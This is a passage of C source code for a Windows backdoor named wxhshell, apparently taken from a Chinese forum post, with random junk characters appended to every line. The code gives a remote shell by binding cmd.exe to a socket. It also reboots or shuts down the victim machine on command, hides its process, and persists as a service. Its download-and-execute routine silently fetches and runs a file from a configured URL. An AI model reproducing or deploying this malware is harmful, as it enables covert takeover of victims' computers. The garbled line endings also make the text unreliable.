  // 帮助 8 063LWV  
  case '?': { v_KO xV:<`  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); _[rFnyC+0V  
    break; { ^o.f  
  } l~Jd>9DwY  
  // 安装 !Yof%%m$;  
  case 'i': { X>I3N?5  
    if(Install()) r<!hEWO>v  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); h$5[04.Q  
    else U7WYS8  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); y[N0P0r l:  
    break; )rEl{a  
    } Y` }X5(A@  
  // 卸载 @i#JlZM_  
  case 'r': { B:h<iU:'D  
    if(Uninstall()) |_?e.}K  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >XtfT'  
    else oq7G=8gTp  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); C1 ^%!)  
    break; a0NiVF-m%  
    } jG>W+lq  
  // 显示 wxhshell 所在路径 9#9 UzKX#  
  case 'p': { @gN"Q\;F  
    char svExeFile[MAX_PATH]; O2fq9%lk  
    strcpy(svExeFile,"\n\r"); Vh~hfj"  
      strcat(svExeFile,ExeFile); Snk+ZQ-  
        send(wsh,svExeFile,strlen(svExeFile),0); $w(RJ/  
    break; ?R]`M_^&u!  
    } 9a*#r;R  
  // 重启 ^kfqw0!  
  case 'b': { 5W)ST&YPL*  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ULiRuN0 6  
    if(Boot(REBOOT)) 5G355 ,}E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); j(%N.f6  
    else { evZcoH3~  
    closesocket(wsh); }Xj25` x  
    ExitThread(0); ,X4b~)  
    } +2`BZ}5y  
    break; PC9,;T&7_  
    } ~| j  eNT  
  // 关机 Q:b0M11QR  
  case 'd': { qfsPX6]  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); d+,!>.<3  
    if(Boot(SHUTDOWN)) cWAw-E5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %`F;i)Zz  
    else { uZ6krI  
    closesocket(wsh); C8K2F5c5  
    ExitThread(0); _mSefPl  
    } ko9}?qs  
    break; "{~5QO   
    } CH6 m  
  // 获取shell ? xR7Ii3  
  case 's': { ^+x?@$rq  
    CmdShell(wsh); ^fsMfB  
    closesocket(wsh); 6*i **  
    ExitThread(0); G _cJI  
    break; c)#P}Ai  
  } X +!+&RAN*  
  // 退出 !<M eWo  
  case 'x': { )JzY%a SP  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ?=&; A  
    CloseIt(wsh); oPi>]#X  
    break; 2 GRI<M  
    } Ay(p~U;gN*  
  // 离开 CM?:\$ 4  
  case 'q': { n^nE&'[?0g  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); x3ZF6)@  
    closesocket(wsh); B@F@,?K4%  
    WSACleanup(); v@$N,g  
    exit(1); 9JFN8Gf*)  
    break; Gd!-fqNa'x  
        } ? Ek)" l  
  } D [+LU(  
  } hC2Fup1@  
`n$Ak5f  
  // 提示信息 dk&e EDvfd  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); z>N[veX%  
} :7K a4  
  } CY o m  
ILm +o$o ~  
  return; 8 #4K@nm5  
} V|u2(*  
LwB1~fF  
// shell模块句柄 mGE!,!s}  
int CmdShell(SOCKET sock) cK'g2S  
{ !Ubm 586!  
STARTUPINFO si; necY/&Ld-  
ZeroMemory(&si,sizeof(si)); 2iNLm6"  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ~ YH?wdT  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; \\SQACN  
PROCESS_INFORMATION ProcessInfo; 1gHe$ dzXk  
char cmdline[]="cmd"; ]c>@RXY'  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); m[}P  
  return 0; D;YfQQr  
} P}4&J ^  
.HZd.*  
// 自身启动模式 h,{Q%sqO  
int StartFromService(void) V&f*+!!2  
{ C&z!="hMhR  
typedef struct "L2*RX.R  
{ OD)X7PU  
  DWORD ExitStatus; T ipH}  
  DWORD PebBaseAddress; X9| Z ?jJ  
  DWORD AffinityMask; `bQ_eRw}  
  DWORD BasePriority; ?("O.<  
  ULONG UniqueProcessId; ^$Y9.IH"  
  ULONG InheritedFromUniqueProcessId; [-\Y?3  
}   PROCESS_BASIC_INFORMATION; +0Q   
:^y!z1\2(7  
PROCNTQSIP NtQueryInformationProcess; lgews"  
WX4sTxJK  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; kgo#JY-4  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; >SXSrXyYX  
k>ErD v8  
  HANDLE             hProcess; b/_Zw^DPC  
  PROCESS_BASIC_INFORMATION pbi; `Moo WG  
SRfh{u  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); m]?Z_*1  
  if(NULL == hInst ) return 0; 9\"\7S/Z  
btg= # u  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Gj?Zbl <  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); =n,;S W  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); <ww D*t  
h8(#\E  
  if (!NtQueryInformationProcess) return 0; ZuGSRGX'  
KZ2[.[(Ph  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 3A,N1OXG  
  if(!hProcess) return 0; WRZpu95v  
}sxs-  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; +Q+O$-a <  
N|i>|2EB  
  CloseHandle(hProcess); 4<[?qd 3v=  
; $rQ  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 4r$#-  
if(hProcess==NULL) return 0; xVPSL#>  
a*(Zb|g  
HMODULE hMod; S #GxKMO%  
char procName[255]; !l*A3qA  
unsigned long cbNeeded; ,g?ny<#o  
M@TG7M7Os  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); d~8U1}dP  
=>'8<"M5z  
  CloseHandle(hProcess); `sm Cfh}j6  
]\yB,  
if(strstr(procName,"services")) return 1; // 以服务启动 I<QUvs%e  
v:SHaUS  
  return 0; // 注册表启动 cx:_5GF  
} [h-6;.e  
XKGiw 2 C  
// 主模块 {v*4mT  
int StartWxhshell(LPSTR lpCmdLine) F/2cQ .u2  
{ tz]0F5  
  SOCKET wsl; o'lG9ePM|  
BOOL val=TRUE; "[ LUv5  
  int port=0; g/C 7wc  
  struct sockaddr_in door; |&@q$d  
\>S.nW  
  if(wscfg.ws_autoins) Install(); j#f/M3  
OmuE l>  
port=atoi(lpCmdLine); :P q&l.  
c^=q(V  
if(port<=0) port=wscfg.ws_port; 8 o}5QOW  
k1D7=&i  
  WSADATA data; bZ_&AfcB  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; vGyQ306  
.!~ysy  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   a >fA-@  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); .45wwouZkc  
  door.sin_family = AF_INET; Z kw-a  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); c&T5C, ]  
  door.sin_port = htons(port); DAq H  
#N`'hPD}  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ]MYbx)v)  
closesocket(wsl); bpsyO>lx/  
return 1; G5qsnTxUJ  
} :fmV||Q  
s>;"bzzq  
  if(listen(wsl,2) == INVALID_SOCKET) { v Z10Rb8  
closesocket(wsl); )[hs#nKTh  
return 1; !&OdbRHM  
} Kj?)]Z4  
  Wxhshell(wsl); *4~7p4 [  
  WSACleanup(); )%jS9e{d  
L\ysy2E0  
return 0; q[/g3D\G  
_dd_Z40R  
} KdR\a&[MA  
O#igH  
// 以NT服务方式启动 26~rEOgJ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ;s3@(OnjZ  
{ Rb<| <D+  
DWORD   status = 0; d '2JMdbc  
  DWORD   specificError = 0xfffffff; :C;fEJN  
(NUXK  
  serviceStatus.dwServiceType     = SERVICE_WIN32; f]1 $`  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; o,k#ft<  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Ty b_'|?rW  
  serviceStatus.dwWin32ExitCode     = 0; T\wOGaCW  
  serviceStatus.dwServiceSpecificExitCode = 0; x75;-q  
  serviceStatus.dwCheckPoint       = 0; 3=]/+{B  
  serviceStatus.dwWaitHint       = 0; TPb&";4ROf  
a?Om;-i2`S  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ip'v<%,Q3"  
  if (hServiceStatusHandle==0) return; W{IP}mM  
[ 2@Lc3<  
status = GetLastError(); E2 'Al6^C  
  if (status!=NO_ERROR) Ew}GPJ  
{ H?opG<R=ek  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; fx 08>r   
    serviceStatus.dwCheckPoint       = 0; L,_U co  
    serviceStatus.dwWaitHint       = 0; zX=%BL?  
    serviceStatus.dwWin32ExitCode     = status; b c .Vy  
    serviceStatus.dwServiceSpecificExitCode = specificError; .aZB?M W  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); :x q^T  
    return; 9^S rOW6~  
  } W(ZEqH2  
jM*wm~4>@  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; IAd ^$9  
  serviceStatus.dwCheckPoint       = 0; .*k!Zl*  
  serviceStatus.dwWaitHint       = 0; ;2 o{ 6  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); JF &$'  
} k'$7RjCu  
\^F6)COy  
// 处理NT服务事件,比如:启动、停止 0jp y c  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ;F_&h#D]3  
{ ?{Xp'D\z  
switch(fdwControl) s5 Fn("h]n  
{ yPbOiA*lHz  
case SERVICE_CONTROL_STOP: HH!SqkwT  
  serviceStatus.dwWin32ExitCode = 0; IKp(KlA  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 6w<p1qhW  
  serviceStatus.dwCheckPoint   = 0; UL7%6v{'*  
  serviceStatus.dwWaitHint     = 0; 5}N O~Xd<  
  { Cyv_(Oh?dv  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 'iYaA-9j  
  } uJ*|SSN~  
  return; YVY(uq)d  
case SERVICE_CONTROL_PAUSE: !oV'  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; b(ryk./ogx  
  break; Vfw +m1sS  
case SERVICE_CONTROL_CONTINUE: I |D]NY^  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; a(o[ bH.|;  
  break; iEFS>kL8e  
case SERVICE_CONTROL_INTERROGATE: n O}x,sG2'  
  break; jM@@N.  
}; AM gvk`<f  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;c~DBJg'|  
} F7x< V=4{  
@7PE&3  
// 标准应用程序主函数 `0ju=FP'u5  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) BJ/#V)  
{ F0NNS!WP7^  
DA4!-\bt@  
// 获取操作系统版本 `~t$k7wm=  
OsIsNt=GetOsVer(); WY~}sE  
GetModuleFileName(NULL,ExeFile,MAX_PATH); yC=vTzzp  
7L:R&W6  
  // 从命令行安装 qf] OSd  
  if(strpbrk(lpCmdLine,"iI")) Install(); `|JQ)!Agx  
OaxE3bDT  
  // 下载执行文件 tX *L_  
if(wscfg.ws_downexe) { CtDS lJ  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) PzTTL=G +  
  WinExec(wscfg.ws_filenam,SW_HIDE); EZiGi[t7  
} >BQF<  
Ah2XwFg?  
if(!OsIsNt) { @p2dXJeR<  
// 如果时win9x,隐藏进程并且设置为注册表启动 p|%Y\!  
HideProc(); 7e#|=e *I!  
StartWxhshell(lpCmdLine); {_MU0=7c\  
} '*p-`  
else J>Rt2K  
  if(StartFromService()) 8CSvg{B  
  // 以服务方式启动 Pq7tNM E  
  StartServiceCtrlDispatcher(DispatchTable); TAJ9Y<  
else Y=rW.yK8  
  // 普通方式启动 Js#c9l{{  
  StartWxhshell(lpCmdLine); `TsfscN  
l1_X5DI  
return 0; m~NWY$oI9[  
}
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只看该作者 1 发表于: 2006-10-10
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